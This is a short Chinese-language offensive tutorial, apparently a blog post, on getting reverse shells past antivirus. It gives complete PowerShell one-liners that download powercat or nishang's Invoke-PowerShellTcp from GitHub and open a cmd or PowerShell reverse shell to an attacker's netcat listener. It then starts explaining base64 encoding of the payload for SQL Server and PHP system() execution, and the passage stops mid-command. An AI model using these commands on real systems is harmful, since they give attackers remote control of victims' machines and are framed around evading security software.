前言
实战中会遇到各种AV,有时候无法直接反弹到msf或CS中。我们可以婉转一些,先反弹到cmd里再想办法bypass。
powershell反弹cmd
powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。
被攻击端运行命令
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
攻击端用nc监听。
即可反弹出cmd。
powershell反弹powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.203.140 -port 6666
攻击端用nc监听。
即可反弹出powershell。
注意某些特殊情况需要将powershell脚本进行base64编码,才能成功反弹。比如sqlserver的命令执行、php中system函数的执行
base64编码处理
$text="IEX((New-Object System.Net.WebClient).DownloadString(